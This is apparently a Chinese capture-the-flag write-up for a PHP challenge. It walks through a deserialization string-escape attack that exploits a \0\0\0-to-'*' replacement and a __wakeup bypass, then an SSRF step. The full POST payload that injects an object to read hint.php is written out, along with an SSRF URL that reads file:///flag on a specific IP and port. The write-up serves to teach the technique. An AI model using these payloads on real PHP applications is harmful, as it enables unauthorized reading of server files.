考点
反序列化字符串逃逸
ssrf
解题思路
分析
1 |
|
一般看到有unserialize函数,基本上就知道是反序列化类型的题,审计代码的时候首先找到利用的点。
在evil类的__destruct方法中
1 | public function __destruct(){ |
目的很明确,我们需要通过反序列化evil类来读取hint.php文件查看提示,先在自己搭建环境构造序列化字符串。
得到反序列化字符串
1 | O:4:"evil":1:{s:4:"hint";s:8:"hint.php";} |
找到可以执行反序列化的地方。
1 | $tmp = "test"; |
可以看到这里并不能直接对evil类进行序列化,首先POST接收了两个参数,然后通过两个参数创建了User类,并且进行了序列化,最后通过write和read函数进行替换后才进行反序列化。
关键点就在这两个函数,这两个函数是造成字符串逃逸的关键因素。
1 | function write($data){ |
可以看到\0\0\0
会被替换成*
,那在反序列化之前使用这两个函数会有什么问题呢?
首先通过username和password 进行传参,并把刚刚序列化得到的字符串传入进去。
如果直接这样传入进去,后边的O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
就会被丢弃,O:4:"User":2
。O
代表着对象,4
代表对象名的字符长度,User
就是对象名,2
就代表着有两个属性,2个属性就只会读取O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";
, 后边的就会被丢弃。
这里我们可以利用字符串替换进行逃逸,我们传入一组 \00\00\00
没被替换前得到
1 | O:4:"User":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";} |
经过write和read替换后
1 | O:4:"User":2:{s:8:"username";s:6:"*";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";} |
可以发现变成了s:6:"*";
这样会意味着 这里要吃掉 *";s:8
变成 *";s:8
,但是后边没有闭合,所以会出错。如果我们想逃逸出O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
,那就必须吃掉 ";s:8:"password";s:41:"
这23个字符,而一组\0\0\0
能吃掉三个,这三个字符由chr(0).'*'.chr(0)
组成的三个,那么就需要8组\0\0\0
,这样就得到24个,另外再由password加上一个任意字符凑齐24个,将evil的属性个数改为2绕过__wakeup方法检测。
payload
1 | username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";} |
得到base64编码的字符串
1 | PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo= |
访问index.cgi
ssrf
获取flag的payload
1 | http://114.67.246.176:17691/index.cgi?name=%20file:///flag |